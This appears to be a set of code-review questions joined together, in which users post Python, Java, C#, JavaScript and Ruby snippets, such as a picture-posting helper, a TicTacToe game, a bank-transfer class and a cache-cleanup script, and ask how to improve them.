            print(grid[a][i], end="")
        else:
            print(grid[a][i])


texts:
I'm working on a project for digital marketing, I want to automate the upload of pictures. The program itself isn't done but here I came up with a way to keep track of which and when pictures have been posted.

from os import listdir, rename
from random import choice
from _datetime import datetime

# The main directory in which I'll store the pictures
pictures_dir = "C:/Users/firmi/Desktop/Pictures/"

# The directory in which posted pictures go to
pictures_posted_dir = pictures_dir + "Posted/"

# The folders inside the main directory
picture_folders = listdir(pictures_dir)

# List of folders with pictures that have not been posted
pictures_to_post = [kind for kind in picture_folders if not kind.startswith('Posted') and len(listdir(pictures_dir + kind)) > 0]

# Current date of the post
post_time = datetime.now().strftime("_(%d-%m-%Y)")

def post_picture(picture_dir, kind):
    # Here I move the picture to the 'posted' folder
    rename(picture_dir, pictures_posted_dir + kind + str(post_time) + ".png")

def randomize_picture():
    # Here a random picture is selected(if there are any)
    if len(pictures_to_post) == 0:
        print('No Pictures Left')
    else:
        random_kind = choice(pictures_to_post)
        random_kind_dir = pictures_dir + random_kind + "/"
        random_picture = choice(listdir(random_kind_dir))
        random_picture_dir = random_kind_dir + random_picture

        post_picture(random_picture_dir, random_kind)

randomize_picture()

It's all very generic because I want to be able to have multiple 'main folders' and they are all going to have their kinds of pictures.
Is there any way I can improve this code?


texts: Reading two csv files as dictionaries with differing key definitions

texts:
My script reads two .csv files and generates one dictionary per .csv file.

import csv
# First dictionary
first_dict = {}
with open(first_file, 'r') as f:
    csvReader = csv.reader(f)
    next(csvReader, None) # skip the header
    for row in csvReader:
        key = row[0]
        first_dict[key] = row[1]
# Second dictionary
second_dict = {}
with open(second_file, 'r') as f:
    csvReader = csv.reader(f)
    next(csvReader, None) # skip the header
    for row in csvReader:
        key = " ".join(row[:3]).replace("  "," ")
        second_dict[key] = row[4]

Both reading procedures only differ in the generation of the key. While for first_dictionary the key is just the first row, it is the first three rows for second_dictionary. Is there a way to combine both procedures in one function while only setting appropriate arguments?


texts: "Researcher Hatim is right or wrong" challenge

texts:
I wrote a program to solve a problem, I am not so good in python so want help to find areas where this program can be improved or simplified and readable too:-

I got this problem in a code challenge

  Problem

  Professor Hatim is researching the sexual behavior of a rare
  species of lizard. He assumes that they feature two different genders
  and that they only interact with lizard of the opposite gender. Each
  lizard has a integer printed on their back.

  Given the details of lizard interactions, decide whether the
  experiment supports his assumption of two genders with no homosexual
  bugs, or if it contains some bug interactions that falsify it. Or
  simply, you have to print "Suspicious lizard found!" (without quotes),
  if an interaction of two lizards of same gender is found in the list
  of interactions, otherwise print "No suspicious lizard found!"
  (without quotes).

  Input format

  The first line contains an integer T, denoting the number of test    cases.
  The first line of each test case contains two integers N and M, where    N denotes the number of lizards and M denotes the number of
  interactions.
  Next M lines of each test case contains, two space separated    integers, say x and y , denoting the interaction between lizard no. x
  and lizard no. y.

  Note: Integers on the back of lizards are numbered from 1 to N.

  Output format

  For each test case ,print a line, saying either “No suspicious lizard    found!” if the experiment is consistent with his assumption about the lizard    sexual behavior, or “Suspicious lizard found!” if Professor Hatims’s    assumption is definitely wrong.

  Constraints

  1 ≤ T ≤ 5
  2 ≤ N ≤ 2000
  1 ≤ M ≤ 105

  Sample Input

2
3 3
1 2
2 3
1 3
4 2
1 2
3 4

  Sample Output

Suspicious lizards found!
No suspicious lizards found!

  Time Limit: 1 sec(s) for each input file.
  Memory Limit: 256 MB Source
  Limit: 1024 KB
  Marking Scheme: Marks are awarded if any testcase passes.
  Allowed languages: PYTHON

CODE

from sys import argv

class Test:

    def __init__(self, file):
        self.file = file

    def run_test_case(self):
        n, m = self.file.readline().split()
        n = int(n)
        m = int(m)
        first_gender = []
        second_gender = []

        for i in range(m):
            x, y = 0, 0
            x, y = self.file.readline().split()
            if first_gender == [] and second_gender == []:
                first_gender[ len(first_gender) : ] = x
                second_gender[ len(second_gender) : ] = y
            elif (x in first_gender and y in first_gender) or (x in second_gender and y in second_gender):
                print 'Suspicious lizard found!'
                return
            elif (x in first_gender and y not in  second_gender):
                second_gender[ len(second_gender) : ] = y
            elif (x in second_gender and y not in first_gender):
                first_gender[ len(first_gender) : ] = y
            elif (y in first_gender and x not in second_gender):
                second_gender[ len(second_gender) : ] = x
            elif (y in second_gender and x not in first_gender):
                first_gender[ len(first_gender) : ] = x
        print 'No suspicious lizard found!'

def start(filename):
    file = open(filename, 'r')
    num_test_cases = int(file.readline())
    for i in range(num_test_cases):
        test_instance = Test(file)
        test_instance.run_test_case()

if __name__ == '__main__':
    (script, filename) = argv
    start(filename)


texts: Implementation of Strategy Pattern (photo gallery example)

texts:
I'm learning design patterns and I thought that it would be a good idea to make my examples of each pattern. This is my example of the Strategy Pattern. Can you tell me is it good and what to improve?

This is the Gallery class

    public class PhotoGallery
{
    private ICollection<string> photosNames;
    private IShareStrategy shareStrategy;

    public PhotoGallery()
    {
        this.photosNames = new List<string>();
    }

    public void AddPhoto(string photoName)
    {
        this.photosNames.Add(photoName);
    }

    private void SetShareStrategy(ShareStrategy strategy)
    {
        switch (strategy)
        {
            case ShareStrategy.onFacebook:
                this.shareStrategy = new ShareOnFacebook();
                break;
            case ShareStrategy.onInstagram:
                this.shareStrategy = new ShareOnInstagram();
                break;
            case ShareStrategy.onTwitter:
                this.shareStrategy = new ShareOnTwitter();
                break;
        }
    }

    public void SharePhoto(string photoName, ShareStrategy strategy)
    {
        if (!this.photosNames.Contains(photoName))
        {
            Console.WriteLine("Invalid photo name.");
            return;
        }

        this.SetShareStrategy(strategy);
        shareStrategy.Share(photoName);
    }
}

This is The Share Strategy Enum

public enum ShareStrategy
{
    onFacebook,
    onInstagram,
    onTwitter
}

And the Strategies classes

public class ShareOnFacebook : IShareStrategy
{
    public void Share(string photoName)
    {
        Console.WriteLine($"You shared {photoName} on Facebook.");
    }
}

public class ShareOnInstagram : IShareStrategy
{
    public void Share(string photoName)
    {
        Console.WriteLine($"You shared {photoName} on Instagram.");
    }
}

public class ShareOnTwitter : IShareStrategy
{
    public void Share(string photoName)
    {
        Console.WriteLine($"You shared {photoName} on Twitter.");
    }
}


texts: Reducing repetition of sequence-like properties

texts:
I have a class that is a wrapper for memory positions of a hardware device.

I need to data-bind each of this positions, so I created a class with hardcoded properties, one for each position, so that I can bind a WPF DataGrid to it.

Problem is: given the sequential nature of the positions, the code became quite repetitive.

Model(.cs):

public class TabelaMemoria
{

    public string Nome { get; private set; }

    int Numero { get; set; }
    MiotoolWrapper _device;

    public TabelaMemoria(MiotoolWrapper deviceWrapper, string nome, int numero)
    {
        _device = deviceWrapper;
        Nome = nome;
        Numero = numero;
    }

    public float A1
    {
        get { return getVal(0); }
    }

    public float B1
    {
        get { return getVal(1); }
    }

    public float A2
    {
        get { return getVal(2); }
    }

    public float B2
    {
        get { return getVal(3); }
    }

    public float A3
    {
        get { return getVal(4); }
    }

    public float B3
    {
        get { return getVal(5); }
    }

    public float A4
    {
        get { return getVal(6); }
    }

    public float B4
    {
        get { return getVal(7); }
    }

    private float getVal(int p)
    {
        return _device.GetCalibrationValue(Numero, p);
    }

}

View(.xaml):

<DataGrid
    ItemsSource="{Binding Memorias}"  <!-- of type IEnumerable<TabelaMemoria> -->
    AutoGenerateColumns="False"
    ColumnWidth="Auto">

    <DataGrid.RowHeaderStyle>
        <Style TargetType="DataGridRowHeader">
            <Setter Property="Content" Value="{Binding Nome}"/>
        </Style>
    </DataGrid.RowHeaderStyle>
    <DataGrid.Columns>
        <DataGridTextColumn Header="A1" Binding="{Binding A1}" Width="100"/>
        <DataGridTextColumn Header="B1" Binding="{Binding B1}" Width="100"/>
        <DataGridTextColumn Header="A2" Binding="{Binding A2}" Width="100"/>
        <DataGridTextColumn Header="B2" Binding="{Binding B2}" Width="100"/>
        <DataGridTextColumn Header="A3" Binding="{Binding A3}" Width="100"/>
        <DataGridTextColumn Header="B3" Binding="{Binding B3}" Width="100"/>
        <DataGridTextColumn Header="A4" Binding="{Binding A4}" Width="100"/>
        <DataGridTextColumn Header="B4" Binding="{Binding B4}" Width="100"/>
    </DataGrid.Columns>
</DataGrid>


texts: Simple TicTacToe game, played by two simple A.I. players

texts:
I made two player objects (p1 and p2):

public class tttmodimproved{
    static int turn=0;
    public static void main(String[] args){
        System.out.println("Let's play TicTacToe");
        char isWin=' ';
        Board b= new Board();
        Player p1=new Player('X');
        Player p2= new Player('O');
        Player p;
        for(b.tc=0;b.tc<9;b.tc++){
            p=cp(p1,p2);
            b.updateBoard(p,p.getMove(b));
            isWin=b.checkWin(p);
            b.showBoard();
            if(isWin!=' ')
                break;
        }
         if(isWin!=' ')
            System.out.println("congrats! " + isWin +" won the game.");
        else
            System.out.println("tie");

    }
    static Player cp(Player p1,Player p2){

        if(turn==0)
        {
            turn=1;
            return p1;
        }
        else if(turn==1)
        {
            turn=0;
            return p2;
        }
        else
            return p1;
    }
    }
    class Board{
    char[] s={' ',' ',' ',' ',' ',' ',' ',' ',' '};
    int tc=0;

    char checkWin(Player p){
        char m=p.mark;
        if(m==((s[1]&s[4]&s[7])
            |(s[0]&s[3]&s[6])
            |(s[2]&s[5]&s[8])
            |(s[6]&s[7]&s[8])
            |(s[3]&s[4]&s[5])
            |(s[0]&s[1]&s[2])
            |(s[2]&s[4]&s[6])
            |(s[0]&s[4]&s[8]))){
            return m;}
        return (' ');
    }
    void showBoard(){
        System.out.println("");
        System.out.println(" "+s[6]+" | "+s[7]+" | "+s[8]+" ");
        System.out.println("---|---|---");
        System.out.println(" "+s[3]+" | "+s[4]+" | "+s[5]+" ");
        System.out.println("---|---|---");
        System.out.println(" "+s[0]+" | "+s[1]+" | "+s[2]+" ");
        System.out.println("");
    }
    void updateBoard(Player p,int move){
        s[move]=p.mark;
    }

    }
    class Player{
    char mark=' ',markOpo=' ';

    Player(char mark){
        this.mark=mark;
        System.out.println("player created with mark: " +this.mark);
        if(this.mark=='X'){
            markOpo='O';
        }
        else
            markOpo='X';
    }
    int getMove(Board b){
        int move=9;
        if(b.tc>2){
            move=check(mark,b);
            if(move==9){
                move=check(markOpo,b);
            }
        }
        while((move>8) || (b.s[move]!=' ')){
            move=(int)(Math.random()*9);
        }
        return move;
    }
    int check(char m,Board b){
        int mo;
        mo=checkArray(6,7,8,m,b);

        if(mo!=9)
            return mo;
        mo=checkArray(3,4,5,m,b);

        if(mo!=9)
            return mo;
        mo=checkArray(0,1,2,m,b);

        if(mo!=9)
            return mo;
        mo=checkArray(0,3,6,m,b);

        if(mo!=9)
            return mo;
        mo=checkArray(1,4,7,m,b);

        if(mo!=9)
            return mo;
        mo=checkArray(2,5,8,m,b);

        if(mo!=9)
            return mo;
        mo=checkArray(0,4,8,m,b);

        if(mo!=9)
            return mo;
        mo=checkArray(2,4,6,m,b);

        if(mo!=9)
            return mo;
        else
            return mo;

        }
    int checkArray(int a,int d,int c,char m,Board b){
        if((m==(b.s[a]&b.s[d]))&((b.s[c])==' ')){
            return c;
        }
        else if(((b.s[a]&b.s[c])==m)&&(b.s[d]==' '))
            return d;
        else if(((b.s[d]&b.s[c])==m)&&(b.s[a]==' '))
            return a;
        else
            return 9;
        }

    }


texts:
I want to get empty string or the string value of the object

Which code you will use and why?

value = object.to_s

or this

value = object.nil? ? "" : object


texts:
I'm having a bit of trouble setting up a basic bank account in Java. I'm trying to create a transfer method that I can call to transfer funds from one account to another. The problem is that the method I have created has an unnecessary step where I have to declare the name of the object twice. To execute the transfer method, my current code requires me to write michael.acc.transfer(michael, max); if I want to transfer funds from michael to max. Any ideas on how I can simplify this a bit?

For example: michael.acc.transfer(max);

Here is the class I created with the methods that I can execute to an account:

public class Account {

static double balance;
String accountId;
static int nextId = 0;
static final int ROUTING_NUMBER = 12345;
String bankName;

{
    if (ROUTING_NUMBER == 12345) {
        bankName = "USA Bank";
    }
    else {
        bankName = "Other bank";
    }
}

public void deposit(double amount) {
    balance = balance + amount;
}

public void withdraw(double amount) {
    balance = balance - amount;
}

public void transfer (Customer c1, Customer c2) {
    double transferAmount;
    int routingNumber;
    {
        Scanner input = new Scanner(System.in);
        System.out.println("Please enter transfer amount: ");
        transferAmount = input.nextDouble();

        System.out.println("Please enter recipient's routing number: ");
        routingNumber = input.nextInt();

        if (routingNumber == ROUTING_NUMBER) {
            System.out.println("Your funds will transfer instantly, you and your recipient share the same bank!");
            System.out.println("Bank name: " + bankName);
        } else {
            System.out.println("Your funds will transfer in 2-3 business days.");
        }
    }
    c1.customerBalance -= transferAmount;
    c2.customerBalance += transferAmount;

}
public static String getNextId() {
    return "ACCT #" + nextId++;
}

The next class is the one I created with methods to create the customer:

public class Customer {

public String firstName;
public String lastName;
public Account acc;
public double customerBalance = acc.balance;
int defaultBalance = 100;

public Customer(String firstName, String lastName) {
    this.firstName = firstName;
    this.lastName = lastName;
 }

public Customer() {
    firstName = "John";
    lastName = "Doe";
 }

public void addAccount(double initialBalance) {
    acc = new Account();
    acc.accountId = "ACCT ID: " + Account.getNextId();
    customerBalance = initialBalance;
 }

public void addAccount() {
    addAccount(100);
 }

}

The following are the two accounts that I created to transfer funds from one to the other:

public class Bank {

public static void main(String[] args) {

    Customer max = new Customer("Max", "Doe");
    max.addAccount(1500);

    Customer michael = new Customer("Michael", "Smith");
    michael.addAccount(3000);

 }
}


texts: Find index of the nearest larger number of a number

texts:
The task:

  Given an array of numbers and an index i, return the index of the
  nearest larger number of the number at index i, where distance is
  measured in array indices.

  For example, given [4, 1, 3, 5, 6] and index 0, you should return 3.

  If two distances to larger numbers are the equal, then return any one
  of them. If the array at i doesn't have a nearest larger integer, then
  return null.

  Follow-up: If you can preprocess the array, can you do this in
  constant time?

My solution:

const nearestLargestNumber = (arr, idx1) => {
  const num = arr[idx1];
  let nearestLargest;
  const findIdxOfNearestLargest = (idxOfNearestLargest, item, idx2) => {
    if (item > num &&
       (idxOfNearestLargest === null || nearestLargest > item )) {
      nearestLargest = item;
      idxOfNearestLargest = idx2;
    }
    return idxOfNearestLargest;
  };

  return arr.reduce(findIdxOfNearestLargest, null);
};

console.log(nearestLargestNumber([4, 1, 3, 5, 6], 0));


texts:
This is what I came up with to delete files not modified within the last 30 minutes from a subdirectory named cache.

'''
Clear cache files older than 30 minutes.
'''

import os
import time

outer = os.getcwd()
cache = os.path.join(outer, 'cache')
count = 0
for f in os.listdir(cache):
        f = os.path.join(cache, f)
        use_by = time.time() - 30 * 60
        if os.path.getatime(f) < use_by:
                os.remove(f)
                count += 1
print("Removed {} files.".format(count))

Would love input as to how to make it more concise, as well as other improvements or details I might have missed.

Had tried to put os.getcwd() within os.path.join but got:

  File "/Users/mikekilmer/Envs/GLITCH/bin/../lib/python2.7/posixpath.py",         line 77, in join
    elif path == '' or path.endswith('/'):
AttributeError: 'builtin_function_or_method' object has no attribute 'endswith'